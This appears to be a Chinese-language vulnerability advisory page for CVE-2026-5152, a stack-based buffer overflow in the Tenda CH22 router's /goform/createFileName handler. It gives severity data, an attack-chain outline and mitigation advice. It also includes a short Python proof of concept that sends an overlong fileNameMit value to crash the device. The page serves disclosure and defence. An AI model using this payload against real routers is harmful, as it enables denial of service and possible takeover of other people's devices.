IPBUF安全漏洞报告
English
CVE-2026-5152 CVSS 8.8 高危

CVE-2026-5152 Tenda CH22栈溢出漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-5152
漏洞类型
栈溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda CH22

相关标签

栈溢出TendaCH22IoT漏洞RCE缓冲区溢出

漏洞概述

Tenda CH22 1.0.0.1版本存在一个高危漏洞,位于/goform/createFileName接口的formCreateFileName函数中。由于对参数fileNameMit的处理不当,攻击者可以通过发送特制的恶意数据包触发基于栈的缓冲区溢出。该漏洞无需用户交互,且仅需低权限即可发起远程攻击,可能导致设备执行任意代码,严重影响系统的机密性、完整性和可用性。目前该漏洞的利用代码已公开。

技术细节

该漏洞根植于Tenda CH22路由器固件V1.0.0.1的Web服务器组件中。具体而言,在处理文件创建请求的/goform/createFileName接口中,formCreateFileName函数负责接收用户输入。该函数在接收HTTP POST请求中的fileNameMit参数时,使用了不安全的内存拷贝操作,直接将用户数据复制到栈上分配的固定大小缓冲区内。由于代码缺失对输入长度的校验机制,攻击者可通过发送超长字符串覆盖栈帧中的返回地址。结合攻击者具备的低权限网络访问能力,这一逻辑缺陷可被转化为远程代码执行(RCE),致使攻击者获得设备Root权限,进而植入恶意固件或构建僵尸网络节点。

攻击链分析

STEP 1
信息收集
扫描网络识别Tenda CH22设备,确认其运行1.0.0.1版本固件。
STEP 2
构造攻击载荷
编写Python脚本,生成超长的恶意字符串作为fileNameMit参数的值,包含填充数据和返回地址覆盖。
STEP 3
发送恶意请求
向目标设备的/goform/createFileName接口发送POST请求,注入恶意载荷。
STEP 4
触发溢出与执行
输入数据溢出栈缓冲区,覆盖返回地址,程序流程被劫持至Shellcode,执行任意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://<target_ip>/goform/createFileName" # Malicious payload to trigger stack overflow # The size should exceed the buffer limit to overwrite the return address payload = "A" * 1000 data = { "fileNameMit": payload } try: # Send the malicious request response = requests.post(target_url, data=data, timeout=5) print(f"Request sent with status code: {response.status_code}") print("Check if the device has crashed or if the shellcode was executed.") except Exception as e: print(f"Error occurred: {e}")

影响范围

Tenda CH22 1.0.0.1

防御指南

临时缓解措施
若无法立即升级固件,建议通过ACL访问控制列表禁止外部网络访问路由器的Web管理端口,或者在网络边界部署WAF/IPS设备,拦截针对/goform/createFileName路径的异常POST请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表